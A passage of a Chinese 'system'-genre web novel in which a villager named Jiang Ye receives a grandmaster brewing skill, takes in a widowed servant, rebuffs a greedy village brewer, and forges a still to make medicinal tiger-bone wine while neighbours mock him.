那声惊呼很快就变了调,化作一声撩人心弦的娇吟。她放弃了抵抗,双臂紧紧环住他的脖子,生怕自己掉下去,脸颊紧紧贴在他坚实的胸膛上,感受着那“砰砰”强有力的心跳,只觉得自己的心也要跟着跳出嗓子眼了。
“现在想跑?晚了。”江夜在她耳边低语,温热的气息吹得她耳根瞬间红透。
“砰!”
客房的门被他一脚踹开,又在他身后重重关上。
摇曳的月光被隔绝在外,只剩下满室的旖旎。
……
第二天,天光微亮。
江夜缓缓睁开眼,只觉得浑身通泰,神清气爽。积攒了多时的郁火,在昨夜的酣畅淋漓中被泄得一干二净,整个人都仿佛脱胎换骨了一般,精神前所未有的好。
他动了动,感觉到怀里温热柔软的触感。
低头看去,慕容晴还在沉沉地睡着。
她像只吃饱喝足后慵懒的猫,侧身蜷缩着,一条修长的大腿还霸道地搭在他的腰上。那头乌黑亮丽的长发凌乱地铺散在枕头上,几缕发丝贴在她红晕未褪的俏脸上,衬得那张脸愈发娇艳动人。
她睡得很沉,长长的睫毛在眼下投出一片安静的阴影,嘴角还挂着一丝若有若无的满足笑意,只是眉宇间带着一丝显而易见的疲惫。
显然,昨夜的征伐对她来说,也并不轻松。这小野猫看着彪悍,真到了战场上,耐力还是差了点。
江夜看着她这副模样,忍不住轻笑一声。
可就在这时,他脑海中突然响起了久违的系统提示音。
【叮!恭喜宿主开枝散叶,血脉传承有望!】
江夜的动作猛地一顿。
开枝散叶?
他还没来得及细想,下一道提示音接踵而至。
【检测到极品鼎炉慕容晴已受孕,奖励发放中……】
江夜整个人都愣住了。
慕容晴……怀孕了?
他大脑有那么一瞬间的空白,随即一股巨大的狂喜,如同火山喷发,瞬间席卷了他全身!
他猛地低头,目光灼灼地看向怀中还在熟睡的美人。
系统之前可是提示过,慕容晴的凤鸣之体受孕极难,让他多多耕耘。
他本来都做好了长期作战的准备,谁能想到,幸福来得如此突然!
这简直是意外之喜!
看着慕容晴那张娇艳的睡颜,江夜的眼神瞬间变得无比炽热。
白家姐妹,现在又是慕容晴……<
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br>他江夜,马上就要有三个孩子了!
就在江夜心潮澎湃之际,系统的声音再次响起。
【恭喜宿主获得:宗师级酿酒技术!】
话音落下的瞬间,一股磅礴浩瀚的庞大信息流,轰然冲入江夜的脑海!
从如何挑选最适合的粮食,如何根据天时、地气制作独一无二的酒曲。
到如何掌控火候进行蒸馏,掐头去尾,只取最醇厚的中段酒液。
再到如何选择不同的木材制作酒桶进行窖藏,如何根据不同的酒性进行勾兑调和,创造出千变万化的绝世口感……
无数种酒的配方,无数种酿造的法门,无数种应对突发状况的经验……所有的一切,都如同烙印一般,深深地刻进了他的灵魂深处。
这已经不是单纯的知识灌输,而是一种近乎于“道”的传承。
片刻之后,信息流的冲击缓缓平息。
江夜闭着眼睛,静静地躺在床上,感受着脑海中那些仿佛与生俱来的记忆,嘴角控制不住地疯狂上扬。
酿酒技术!
而且是宗大宗师级的酿酒技术!
这可真是……瞌睡了就有人送枕头!
他正愁着空有金山银山,却缺少一个能将这些死钱盘活,变成源源不断现金流的稳定产业。
黑风寨的宝藏总有花完的一天,靠打猎也不是长久之计。
可现在,不一样了!
酒,在这个时代,尤其是好酒,那可是硬通货!
是能与盐铁相提并论的暴利行业!
他喝过凤啸寨的酒,也喝过村里人自己酿的土酒,那味道,辛辣刺喉,寡淡无味,简直跟喝马尿没什么区别。
可就这样,那些酒楼里的一坛劣酒,都能卖出几十文甚至上百文的高价。
而他脑子里那些配方,随便拿出一个,酿出来的酒,都足以让全天下的酒鬼为之疯狂!
更别提,他手里还有野山参、血灵芝、龙髓草这些天材地宝!
若是用这些药材入酒,酿造出独一无二的药酒……
那价值,简直不可估量!
不仅能强身健体,延年益寿,甚至还能辅助武者修炼!
到那时,滚滚而来的,就不是银子了,而是金子!
江夜越想越兴奋,只觉得一条金光闪闪的康庄大道,正在自己面前缓缓铺开。
第68章 异思迁的家伙
次日清晨,当第一缕阳光照进崭新的青砖大宅时,江夜已经神清气爽地起了床。
昨夜的酣畅淋漓,让他整个人都通体舒泰,精神饱满。
江夜来到院子里,正准备活动活动筋骨,院门外却传来了极其轻微的叩门声,那声音小心翼翼,带着几分试探和不安。
江夜眉头一挑径直去开了门。
门外,一道瘦弱的身影正拘谨地站着,正是林间雪。
她显然是把自己能找到的、最干净的一身衣服穿来了,可那打了好几个补丁的灰布衣衫紧紧地绷在身上,将她那丰腴饱满的身段勾勒得一清二楚。
许是赶路太急,她的额角渗着细密的汗珠,几缕湿发贴在苍白的脸颊上,一双眼睛不安地盯着自己的脚尖,神情拘谨到了极点。
“进来吧。”江夜淡淡开口。
“是……主人。”林间雪的声音细若蚊蝇,低着头跟在江夜身后走进了院子。
当她踏入这气派非凡的院落,看到那雕梁画栋的二层小楼时,整个人都呆住了,眼中满是震撼和自惭形秽。
这里的一切,都像是画里才有的地方,干净、气派,和她之前活着的那个世界,简直是天壤之别。
“夫君,是间雪来了?”白梦夏和白梦秋听到动静也穿戴整齐地从屋里走了出来。
当她们看到林间雪这副模样时,眼中不约而同地闪过一丝怜悯。
江夜点点头,对姐妹俩说道:“你们先带她去安顿一下,找身干净衣服换上,再弄点吃的。”
“好的,夫君。”白梦夏温柔地应下。
她走到林间雪面前,无视她身上的脏污,主动伸出白皙的手,轻轻拉住了她冰凉僵硬的手掌,柔声道:“间雪,跟我们来吧。”
林间雪的身体猛地一僵,她下意识地想把手抽回来,可白梦夏的手温暖而有力,让她动弹不得。
她猛地抬起头,难以置信地看着眼前仙女一般的白梦夏,又看看旁边同样绝美动人的白梦秋,眼眶瞬间就红了。
自从丈夫死后,就再也没有人用这样温柔的语气跟她说过话,更没有人这样主动地牵过她的手。
巨大的冲击让她大脑一片空白,只能僵硬地任由白梦夏拉着,走进了那座她连仰望都觉得奢侈的房子里。
客房早已备好,里面床榻被褥一应俱全,全是崭新的。
白梦夏又从柜子里拿出了一套她自己还没穿过的新衣给了林间雪。
片刻之后,房门再次打开。
换了一身淡青色新衣的林间雪,有些扭捏地走了出来。
院中的江夜闻声看去,眼神不由得微微一凝。
人还是那个人,但给人的感觉却已是天差地别。
那身普通的淡青色布裙,穿在她身上,竟被那饱满的身段撑起了一道惊心动魄的曲线。
洗干净的脸庞,露出了原本秀丽的容颜,虽算不上倾国倾城,却别有一番动人的风情。
尤其是那双眼睛,天生就带着一抹水汽,眼角微微下垂,配上那柔弱怯懦的神态,组合成一种我见犹怜的妩媚,让人看一眼就忍不住心生怜惜。
此刻的她,就像一朵被雨水打湿的娇花,脆弱,又带着致命的诱惑。
林间雪走到江夜和两位夫人面前,再也控制不住心中的情绪。
“噗通!”
她双膝一软,直挺挺地跪了下去,泪水如同断了线的珠子,汹涌而出。
她用尽全身的力气,将额头重重地磕在坚硬的青石板上,发出沉闷的声响。
“谢……谢主人、夫人恩典……谢主人、夫人收留……”
她语无伦次,除了磕头和哭泣,已经不知道该如何表达自己那翻江倒海般的感激。
江夜也被她此刻显露出的风情惊艳了一下。
昨日那个面黄肌瘦、满身暮气的寡妇,和眼前这个身段窈窕的妩媚少妇,简直判若两人。他不得不承认,这林间雪,确实是个难得的尤物。
“快起来,地上凉。”白梦夏和白梦秋见她磕得那么重,心疼地连忙上前,一左一右地将她扶了起来。
白梦秋看着她哭得梨花带雨的模样,笑着替她擦去眼泪,夸赞道:“间雪,你穿这身新衣真好看,别哭了,以后这就是你的家。”
林间雪被她夸得俏脸一红,又听到“家”这个字,泪水流得更凶了,却只是咬着唇,手足无措地站着,不知道该说什么才好。
就在这时,一道银白色的影子“嗖”地一下从主屋里窜了出来。
正是睡醒了的团子。
它本来是想找白梦夏和白梦秋撒娇,可一出门口,目光就直勾勾地落在了林间雪身上。
小家伙的动作瞬间一顿,黑溜溜的眼珠子上下打量着焕然一新的林间雪,随即眼睛猛地放光。
它兴奋地绕着林间雪转了两圈,鼻尖在她身上嗅来嗅去,尾巴摇得像个风火轮。
林间雪被它这突如其来的热情吓了一跳,身体僵住,一动也不敢动。
团子可不管这些,它认定这是个新的大美人,献宝的本能立刻发动。
它飞快地转身,一溜烟跑到了院子角落,从自己藏宝的草丛里,叼出了一根昨天才找到的的野鸡翎毛。
然后它又屁颠屁颠地跑回来,将自己的宝贝小心翼翼地放在林间雪的脚边,随即抬起小脑袋,尾巴疯狂摇动,满脸都是“快夸我”的骄傲表情。
这滑稽的一幕,让原本有些凝滞的气氛瞬间被打破。
白梦夏和白梦秋都忍不住“噗嗤”一声笑了出来。
林间雪看着脚边那根漂亮的羽毛,又看看眼前这只通体银白、眼神灵动的小狼崽,紧
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张的心情也消散了大半,眼中流露出一丝好奇和善意。
江夜看着这一幕,好气又好笑地骂了一句:“色狗。”
团子似乎听懂了,不但不以为耻,反而叫了两声,尾巴摇得更欢了。
院子里一片温馨笑语。
就在此时,客房的门“吱呀”一声开了。
慕容晴打着哈欠从里面走了出来,她只随意披了件外衣,一头乌黑的长发还有些凌乱地披散着,那张美艳的脸蛋上带着一丝慵懒的红晕,整个人就像一只刚刚睡醒的波斯猫,性感又迷人。
她一出来,院子里的气氛瞬间有了微妙的变化。
白梦夏和白梦秋对视一眼,笑容里带着几分了然。
林间雪则是看呆了,她从未见过如此张扬明艳的女子,一时竟忘了反应。
而最先有反应的,是正在疯狂摇尾巴的团子。
它看到慕容晴,整个身体猛地一僵,那根献宝的尾巴瞬间停在了半空中,摇也不是,不摇也不是。
它看看脚下的新美人林间雪,又看看不远处的“正宫”慕容晴,黑溜溜的眼珠里,竟流露出一丝做贼心虚的慌乱。
慕容晴自然也看到了这边的情形,她好看的眉头轻轻一挑,嘴角勾起一抹似笑非笑的弧度。
她故意不去看团子,仿佛没看见它一般,迈开长腿,径直走向了已经摆好早饭的石桌。
团子一看,顿时急了。
这还得了?正主生气了!
它也顾不上去讨好新美人了,喉咙里发出一声委屈的“呜咽”,转身冲回了自己屋檐下的狗窝里。
下一刻,在众人哭笑不得的注视下,团子开始疯狂地往外叼东西。
一块圆溜溜的漂亮鹅卵石,一根不知从哪捡来的孔雀羽毛,甚至还有几片闪着光泽的彩色甲虫壳……
它把这阵子搜刮来的所有宝贝,一件不剩地全部叼了出来,一股脑地堆在了慕容晴的脚下,形成了一个小小的“宝藏堆”。
做完这一切,它眼巴巴地看着慕容晴,用毛茸茸的脑袋,小心翼翼地蹭着她的裤腿,喉咙里发出讨好的呜咽声,那表情,活脱脱就是一个犯了错正在拼命求饶的小丈夫。
看着脚下那堆乱七八糟的“宝贝”,和团子这副滑稽的模样,慕容晴再也绷不住了。
她“噗嗤”一声笑了出来,那笑容,如同冰雪初融,明媚动人。
她弯下腰,一把将团子抱进怀里,揉着它的小脑袋,笑骂道:“你这小东西,真是个见异思迁的家伙。”
团子被抱进怀里,立刻知道自己被原谅了,顿时得意忘形,尾巴疯狂摇动,伸出舌头就在慕容晴的脸上舔了一下。
院子里,白梦夏、白梦秋看着这一幕,都忍不住笑出了声,连带着拘谨的林间雪,嘴角也露出了一抹浅浅的笑意。
第69章 酒我自己酿
院子里的笑声清脆,将清晨的薄雾都冲散了几分。
慕容晴抱着团子揉搓了好一阵,才在白梦夏的招呼下,坐到石桌旁吃早饭。
林间雪则拘谨地站在一旁,手都不知道该往哪儿放,直到白梦秋拉着她坐下,又给她盛了一碗热腾腾的肉粥,她才受宠若惊地拿起筷子,小口小口地吃着,眼睛却不敢乱看。
这顿早饭的气氛温馨而融洽。
江夜看着身边的三个绝色美人,心中一阵舒畅。
就在这时,院门被人“砰砰”敲响。
林间雪条件反射地站起身,紧张地看向江夜。
江夜对她点了点头,她这才定了定神,快步走去开门。
门外站着一个五十来岁、山羊胡的干瘦老头,正是村里唯一的酿酒师傅,王守缸。
他背着手,下巴抬得老高,一副德高望重的架势。
门一开,他便理所当然地迈步进来,目光在气派非凡的新房院落里飞快扫过,当看到石桌旁坐着的白梦夏、白梦秋和慕容晴时,眼中闪过一丝掩饰不住的嫉妒和贪婪。
三个女人,一个温柔似水,一个娇俏可人,还有一个更是美艳张扬,各有风情,却都美得不像凡人。再配上旁边那个身段丰腴、眉眼妩媚的侍女,这江夜小儿,当真是艳福不浅!
王守缸心里泛酸,清了清嗓子,将那点不该有的心思压了下去,摆出一副高人派头。
他径直走到桌前,也不等江夜开口,便开门见山:“江夜小子,老夫听闻你猎了头异虎?”
江夜正慢条斯理地喝着粥,闻言眼皮都没抬一下。
王守缸见他这般无礼,心中不快,但想到那价值连城的虎骨,还是耐着性子说道:“异虎的虎骨,乃是酿酒的至宝。不过这虎骨酒的酿造之法,极其复杂,非数十年功力不可得。整个稻花村,乃至这方圆百里,除了老夫,没人有这个本事。”
他顿了顿,脸上露出一副“我这是在提携你”的表情,继续道:“老夫看你年轻,得了宝物也不知如何处置。这样吧,老夫愿意出手‘帮’你一把,你将虎骨交由我来酿造。事成之后,酿出的酒归老夫,我分你一成的利。如何?”
他说完,便捻着自己的山羊胡,等着江夜感恩戴德地答应。
在他看来,自己肯出手,已经是天大的面子。
这江夜不过是个走了狗屎运的泥腿子,能分到一成利润,够他偷着乐好几年了。
桌上的气氛瞬间冷了下来。
白梦夏和白梦秋秀眉微蹙,慕容晴更是直接翻了个白眼,嘴角勾起一抹毫不掩饰的讥讽。这老头,脸皮可真不是一般的厚。
江夜依旧没看他,将碗里最后一口粥喝完,才淡淡地吐出一句话:“酒我会自己酿,你请回吧!。”
声音不大,却清晰地传到每个人耳朵里。
王守缸脸上的得意笑容瞬间僵住,他以为自己听错了,拔高了声音:“你说什么?”
“我说,我自己酿。”江夜放下碗,拿过布巾擦了擦嘴,这才抬眼看向他,眼神平静无波。
王守缸像是听到了天大的笑话,愣了片刻后,嗤笑出声。
“你自己酿?哈哈哈!小子,你莫不是睡糊涂了?你懂得什么叫配伍?什么叫控火?什么叫窖藏吗?”
“酿造异虎酒,需得以十三种药材为引,辅以独门酒曲,在地窖中封存九九八十一天方可功成!少一个步骤,错一分火候,这整副虎骨就全废了!你这是暴殄天物,懂吗!”
他一番话说得唾沫横飞,仿佛江夜已经犯下了什么不可饶恕的滔天大罪。
江夜却不为所动,甚至觉得有些好笑。
十三种药材?独门酒曲?
在他宗师级的酿酒技术面前,这些都不过是小孩子过家家的玩意儿。他脑中随便一个虎骨
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酒的方子,都需要上百种药材,其工序之繁复,足以让这老头听了就当场昏过去。
见江夜还是那副油盐不进的模样,王守缸的脸色彻底沉了下来。
他以为江夜是嫌分得少,想坐地起价。
“哼,贪心不足的小子!”他心中暗骂一句,脸上却挤出一丝肉痛的表情,咬着牙说道:“罢了罢了!看在你年少无知的份上,老夫就再让一步!”
他伸出三根手指,一副下了血本的模样:“三七分!你三,我七!这已经是老夫能给出的最大让步了!小子,做人得知足,这种天大的恩惠,你上哪儿找去?”
江夜终于正眼看他,缓缓摇了摇头。
那眼神,不是在看一个谈判的对手,而像是在看一个胡搅蛮缠的傻子。
“你……”
王守缸被他这个眼神彻底激怒了,一口气堵在胸口,差点没上来。
他豁然起身,指着江夜的鼻子,气得浑身发抖:“不识抬举!你真是坐拥宝山而不自知!行!你行!老夫今天倒要看看,你怎么把这一副绝世虎骨,酿成一坛马尿!”
他撂下狠话,猛地一甩袖子,转身便气冲冲地朝院门外走去。
那背影,充满了被羞辱后的恼羞成怒和怨毒。
看着他狼狈离去的背影,慕容晴忍不住笑出了声:“这老头,哪来的自信?”
白梦秋也做了个鬼脸,吐了吐舌头:“就是,夫君的本事,他哪里知道。”
江夜只是淡然一笑,对他而言,这不过是一只苍蝇在耳边嗡嗡叫了两声,挥挥手赶走便是,根本不值得放在心上。
他现在满脑子想的,都是该如何将脑海中那些绝世佳酿,一一变为现实。
虎骨酒只是其一,他还有血灵芝、野山参,甚至还有那株稀世难寻的龙髓草!
这些东西若是入酒……
江夜的眼神,瞬间变得无比火热。
第70章 故弄玄虚
王守缸前脚刚走,江夜要自己酿虎骨酒的消息,就像长了翅膀一样,瞬间飞遍了整个稻花村。
这消息比江夜盖新房、屠山寨还要劲爆。
毕竟盖房是力气活,屠寨是狠劲,可酿酒,那可是正儿八经的技术活!
整个稻花村的村民,有一个算一个,全都觉得江夜这次是昏了头,疯了。
“哎哟,你们听说了吗?江夜那小子,要把那宝贝异虎虎骨自个儿酿成酒!”
“疯了吧?他会酿酒?我怎么不知道?”
“就是啊,王守缸师傅都说了,那玩意儿金贵着呢,一步都错不得,他这是要暴殄天物啊!”
人群里,王翠花的声音最为尖锐,她双手叉腰,唾沫横飞,脸上是毫不掩饰的幸灾乐祸。
“我早就说了,泥腿子就是泥腿子,走了狗屎运捡了点好东西,就不知道自己姓什么了!还自己酿酒?我呸!等着吧,不出三天,那宝贝虎骨就得被他弄成一堆臭骨头,到时候有他哭的!”
她的话引来一阵附和,不少人心里都暗暗点头,觉得江夜这次实在是太托大了。
有几个好事儿的村民,不信邪,特意跑到了村东头的王守缸家门口,想问个究竟。
王守缸正憋着一肚子火没处发,见有人来问,立马摆出了专家的架子。
他站在自家门口,背着手,对着围过来的七八个村民,满脸不屑地冷哼一声。
“他江夜?他要是会酿酒,我王守缸就把我这吃饭的家伙什全砸了!”
他指了指自家的酒坊,下巴抬得老高,言之凿凿地断言。
“酿造虎骨酒,讲究的是君臣佐使,药材配伍,火候拿捏,缺一不可!他一个毛头小子懂个屁!老夫把话放这儿,他百分之百会失败!那副珍贵的异虎骨,不出三天,就会被他糟蹋成一堆没人要的废料!”
众人闻言,一片哗然,最后一丝侥幸也破灭了。
“哎,真是可惜了那副好东西。”
“就是,白瞎了啊!”
村民们唏嘘不已,再看向江夜家新房的方向时,眼神里已经充满了同情和惋惜。
然而,作为风暴中心的江夜,却对外界的议论充耳不闻。
吃过早饭,他悠闲地陪着几个女人说了会儿话,这才不紧不慢地站起身。
他无视了门口那些探头探脑的目光,径直走到院子角落,从之前盖房剩下的材料堆里,拖出几块上好的铁料和几段坚硬的梨木。
“他这是要干啥?不弄药材,倒腾起铁块木头了?”
“谁知道呢,莫不是知道自己不行,放弃了?”
门口围观的村民们好奇心彻底被勾了起来,交头接耳,议论纷纷。
只见江夜不慌不忙地在院中空地上垒了个简易的土灶,将风箱接上,随即点燃了木炭。
呼——!
随着风箱被拉动,熊熊的火焰瞬间升腾而起,将铁块烧得通红。
江夜赤着上身,露出线条分明的肌肉。
他拿起铁钳,夹出烧得发软的铁块,放在铁砧上,另一只手抡起了沉重的铁锤。
神级工匠技艺,发动!
“当!当!当!”
江夜的动作不疾不徐,每一锤落下,都精准无比。
那烧红的铁块在他手中仿佛不再是死物,而是一块有了生命的面团,被他随心所欲地锻打、折叠、拉伸。
他的动作行云流水,充满了一种难以言喻的玄奥美感。每一次挥锤,每一次翻转,每一次铁块与铁砧的碰撞,都仿佛经过了千百次的计算,精准而高效。
院门口,围观的村民们脸上的表情,开始出现微妙的变化。
窃窃私语声彻底消失了。
所有人都瞪大了眼睛,屏住了呼吸,从一开始的看热闹,到逐渐安静,最后集体失声,目瞪口呆地看着院中那个男人。
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就在这时,王守缸背着手,满脸讥笑地溜达了过来。
他就是特意来看江夜笑话的,想亲眼看看那小子是怎么把一副好牌打得稀烂。
可一到江夜家门口,他就愣住了。
想象中手忙脚乱、愁眉苦脸的场景并未出现,取而代之的,是诡异的死寂,和院子里那道充满力量与韵律的声音。
“搞什么名堂?”
王守缸皱着眉,挤开人群,探头向里望去。
只一眼,他也愣住了。
随即,他像是想通了什么,嗤笑一声,那笑声在寂静的人群中显得格外刺耳。
“哈!我当是什么呢!原来是黔驴技穷,在这儿故弄玄虚啊!”
他指着院子里挥汗如雨的江夜,对着身边呆若木鸡的村民们大声嘲讽:“酿酒是精细活,跟这打铁的粗活有半文钱关系吗?我看他就是知道自己不行,故意弄出这么大动静,好给自己找个台阶下!”
他试图引得众人附和,可这一次,没有一个人搭理他。
所有人的目光,都死死地黏在江夜和他手中的那堆铁器上,仿佛被磁石吸住了一般。
王守缸的笑声尴尬地卡在喉咙里,脸上有些挂不住。
而江夜,从始至终都未曾看他一眼。
不过一个时辰的功夫,在他的锤炼下,那些原本平平无奇的铁块和木头,已经发生了翻天覆地的变化。
一个密封性极好的圆形铁锅和一个同样严丝合缝的锅盖,被造了出来,锅盖正中延伸出一根手臂粗的铁管。
铁管的另一头,连接着一个更奇特的玩意儿——一根被盘绕成螺旋状的细长铜管,这铜管又被固定在一个被凿空的巨大木桶中央。
最后,江夜将所有部件精准地拼接在一起。
随着最后一锤落下,一套造型奇特、结构精密的器物,赫然出现在众人眼前。
院门口,陷入了死一般的寂静。
第71章 暴殄天物
院门口的村民们,脑子彻底不够用了。
所有村民,包括那些自诩见过些世面的老木匠、老瓦匠,全都瞪圆了眼睛,死死地盯着院子中央那套由铁、铜、木组合而成的怪异器物,大脑一片空白。
他们看不懂那螺旋状的铜管是干嘛的,也想不通那铁锅盖上为何要伸出一根长长的管子。
但他们看得懂那严丝合缝的接口,看得懂那光滑如镜的锅面,看得懂那整体造型中透露出的一种无法言喻的精密与和谐。
这玩意儿,虽然不知道是啥,但一看就牛逼坏了!
所有人的眼神,从一开始的看热闹,到疑惑,再到此刻,已经化为了敬畏与迷茫。
“哼!装神弄鬼!”
一声尖酸的冷哼打破了寂静,王守缸铁青着脸,双手背在身后,指甲几乎要嵌进掌心。
他同样看不懂那套东西,但他酿了一辈子酒,潜意识里有种直觉,那玩意儿好像很厉害。
这让他心中那股不祥的预感愈发强烈,也愈发恼羞成怒。
“我告诉你们,酿酒靠的是祖传的手艺,是几十年如一日的经验,不是靠这些花里胡哨的破铜烂铁!”他指着那套器具,对着周围的村民大声嚷嚷,仿佛这样就能找回自己的场子,“再好的工具,在蠢材手里,那也是废物!他这是在走邪路!”
他这话,本是想再次引得众人附和,找回自己专家的场子。
可这一次,回应他的,只有一片死寂。
王守缸死死地瞪着院子里神情淡然的江夜,心中天人交战。
万一……万一这小子真懂点什么呢?
那副虎骨,可是能酿出绝世佳酿的宝贝啊!就这么错过了,他得后悔一辈子!
想到这里,他心一横,再次冲着江夜喊道:“江夜!老夫再给你最后一次机会!”
他咬着牙,伸出四根手指,又比了个六,脸上满是肉痛的表情:“四六!你四,我六!这回总行了吧!你别不识好歹,过了这个村,可就没这个店了!”
王守缸这话说完心疼得直抽抽,但一想到那虎骨酒的价值,又觉得值得。
然而江夜连看都懒得看王守缸一眼,转身径直走进了主屋。
那无视的态度,比任何一句嘲讽都更伤人。
王守缸伸着的手僵在半空,脸上的表情精彩纷呈,从涨红到铁青,最后化为一片怨毒。
就在他准备破口大骂时,江夜从屋里走了出来。
他手中,多了一个半尺见方的精致木盒。
所有人的目光,瞬间被那个木盒吸引了过去。
来了!
要来了!
所有人都屏住了呼吸,心提到了嗓子眼!
江夜走到院中,在所有人的注视下,不紧不慢地将木盒放在了石桌上。
“咔哒。”
一声轻响,盒盖开启的瞬间,没有众人想象中的森然骨骸。
取而代之的,是一股浓郁到化不开的药香,以及一抹妖异的血色光华!
只见木盒的丝绸内衬上,静静地躺着几株巴掌大小、通体血红、形如灵芝的药材,那药材的表面,仿佛有血液在缓缓流淌,散发着幽幽的光芒。
在它的旁边,还并排躺着几根参须完整、品相极佳、几乎已经成了人形的野山参!
“嘶——”
人群中,一个倒吸凉气的声音清晰可闻。
赤脚医生王老根猛地从人群里挤了出来,他三步并作两步冲到院门口,一双老眼死死地盯着木盒里的东西,浑身都开始哆嗦。
“天……天呐!”他的声音因为极度的震惊而变得尖利刺耳,“那是……那是血灵芝!活血肉、生白骨的血灵芝啊!”
“还有那人参!看那芦头和纹路,起码是百年的野山参!我的老天爷!”
轰!
王老根的话,如同一颗炸雷,在死寂的人群中轰然引爆。
全场哗然!
“什么?血灵芝?就是传说中能吊命的神药?”
“百年野山参?那玩意儿一根就能在县城里换一套大宅子吧!”
“我的娘!江夜他……他到底有多少宝贝出来啊!”
村民们一个个伸长了脖子,眼神狂热,呼吸急促,恨不得把眼珠子都贴到那木盒上去。
这些只在说书先生嘴里听过的神物,竟然真的出现在了眼前!
王翠花嫉妒得眼睛都红了,指甲深深掐进肉里,却感觉不到丝毫疼痛。
然而,这还没完。
江夜神情淡漠,仿佛没看到众人的疯狂,又从一个不起眼的包裹里,拿出了另外两样东西。
一株通体暗绿,看似平平无奇,却隐隐有灵光流转的小草。
以及……一副散发着滔天凶煞之气的巨大白色虎骨!
那虎骨晶莹如玉,每一寸骨骼都透着一股蛮荒霸道的气息。刚一出现,一股无形无质的恐怖煞气便轰然扩散开来!
院门口的村民们像是被一只无形的大手猛地推了一把,齐刷刷地“蹬蹬蹬”连退数步,一个个满脸惊恐,仿佛看到的不是一副骨架,而是一头活生生的绝世凶虎!
王守缸更是在看到这两样东西的瞬间,连呼吸都停滞了!
血灵芝!百年山参!异虎骨!
还有那株他闻所未闻却能一眼看出不凡的灵草!
无与伦比的贪婪,疯狂地啃噬着他的心脏,他的理智,他的一切!
他的眼睛变得血红,死死地盯着那些天材地宝,恨不得立刻扑上去,将它们全部占为己有!
就在这万众瞩目之下,江夜动了。
他拎起那株百年野山参,看都没看,随手就扔进了旁边那个巨大的酿酒瓮中。
然后是血灵芝和龙髓草!
最后,他拎起那副煞气冲天的异虎虎骨,也“哐当”一声,全部扔了进去!
王守缸看着这一幕,终于从极致的贪婪和震惊中回过神来。
他整个人抖的像秋风中的落叶。
这些神物,每一样都需要用特殊的手法处理,配以不同的药材,小心翼翼地萃取其精华,才能发挥最大的功效!
可江夜……他竟然……
他竟然把所有东西一股脑地全扔进了一个瓮里!
这是糟蹋!
这是暴殄天物!
这是对神物的亵渎!
“你……你这个败家子!你这个蠢货!”
王守缸指着江夜,嘴唇哆嗦着,想骂他,却因为太过激动,一口气没上来,一个字都说不出来。
他只觉得眼前发黑,差点当场昏死过去。
剩下的村民们,也陷入了死一般的寂静。
他们眼睁睁地看着那些只在传说中听过的神药,那些能换来一辈子荣华富贵的宝贝,**夜像扔垃圾一样,一件件地扔进了那口平平无奇的陶瓮里。
所有人的呼吸都停滞
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了,心脏像是被一只无形的大手狠狠攥住,连跳动都变得无比艰难。
这已经不是败家了,这是在用刀子剜他们的心啊!
死寂过后,是无与伦比的心痛和愤怒!
“我的老天爷啊!造孽啊!”
赤脚医生王老根第一个承受不住,他一屁股瘫坐在地上,老脸煞白,浑浊的眼泪顺着脸上的褶子往下淌。
他感觉自己的心在滴血。
作为医生,他比任何人都清楚那些药材的价值,那是能从阎王手里抢命的宝贝!就这么……就这么被糟蹋了!
“败家子!败家子啊!”
一个老实巴交了一辈子的老农,此刻也忍不住了,他捶着自己干瘪的胸膛,痛心疾首地嘶吼着。
“疯了!江夜这小子肯定是疯了!”
“暴殄天物!这是要遭天谴的啊!”
人群彻底炸了锅。
无数村民捶胸顿足,一张张朴实的脸上满是惋惜。
仿佛被扔进瓮里的不是江夜的宝贝,而是他们自家的祖产。
“呸!什么玩意儿!”
人群后面,王翠花嫉妒得双眼赤红,一张脸因为极度的幸灾乐祸而变得扭曲。
“我早就说了,泥腿子就是泥腿子,发了点横财就不知道自己几斤几两了!还酿酒?我呸!”
“等着吧!这么胡搞,早晚酿出一锅**来!”
她的咒骂恶毒至极,但此刻,却没几个人在意她。
所有人的目光,都死死地锁在院子里的那个男人身上。
而被千夫所指的江夜,却仿佛置身事外。
他对周围山呼海啸般的叹息和感叹充耳不闻,神情没有一丝一毫的波动。
他在所有人不敢置信的目光中,他不紧不慢地走到了旁边,取来一个木桶。
众人心中升起一丝荒谬的希望,难道他后悔了?要把东西捞出来?
然而,江夜接下来的动作,让所有人的希望彻底化为绝望。
他竟然从水井里打了一桶清澈的井水,“哗啦”一声,毫不犹豫地全部倒进了那口装着无数天材地宝的陶瓮里!
随后,又取来早已备好的酒曲,按照一个精确到毫厘的比例倒入瓮中。
“完了……”
王守缸气得浑身发抖,指着江夜,一口老血差点喷出来。
外行!
彻头彻尾的外行!
酿酒哪有直接加生水的?
这一下,别说神药了,就是普通的粮食,也得被他糟蹋干净!
这坛子东西,已经不是酒了,而是一锅即将腐烂发臭的垃圾!
江夜依旧不为所动。
他按照脑中宗师级酿酒技术里最基础的一个法门,取来早就备好的黄泥,混合着一些捣碎的的草叶,动作娴熟地搅拌均匀。
然后,他将这些特制的封泥,均匀而细致地涂抹在陶瓮的盖子边缘。
他的动作不疾不徐,带着一种奇特的韵律感,那专注的神情,那行云流水的动作,与周围嘈杂混乱的环境形成了无比鲜明而诡异的对比。
做完这一切,他站起身,随意地在旁边的草地上蹭了蹭手上的泥。
最后,在门口所有村民或呆滞、或麻木的目光注视下,转过身径直走回了那已经飘出饭菜香味的新房。
仿佛刚才被他随手封存的,不是价值连城的稀世珍宝,而真就是一坛不值钱的烂白菜。
第72章 屯粮计划
随着门栓落下的沉闷声响,门外所有的喧嚣、惋惜和嫉妒,都被彻底隔绝。
世界,一下子清净了。
林间雪见江夜进来,连忙打了一盆热水,低着头,快步走到他面前。
“主……主人,请净手。”
她的声音细若蚊蚋,带着一丝紧张的颤抖。
林间雪始终低着头,长长的睫毛垂下,只露出一段雪白细腻的脖颈。
身上那件淡青色的新衣虽然是普通的棉布,但穿在她身上,却将那丰腴有致的身段勾勒得恰到好处。
或许是紧张,在江夜靠近时,她的肩膀几不可察地轻轻一颤,头垂得更低了,几乎要埋进胸口,长长的睫毛在眼下投出一片柔顺的阴影。
江夜随意地洗了手,用布巾擦干,便径直走向饭厅。。
“开饭吧。”
“是,主人。”林间雪的声音细若蚊呐,连忙端着水盆,迈着小碎步跟了上去。
饭厅里,香气早已霸道地占据了每一个角落。
八仙桌上,摆着几样精致的小菜,而最中间,则是一盆热气腾腾,用料十足的异虎肉炖菜。
那虎肉被炖得软烂,汤汁浓稠金黄,浓郁的肉香混合着药材的异香,仅仅是闻着,就让人食指大动,浑身三万六千个毛孔都仿佛舒张开来。
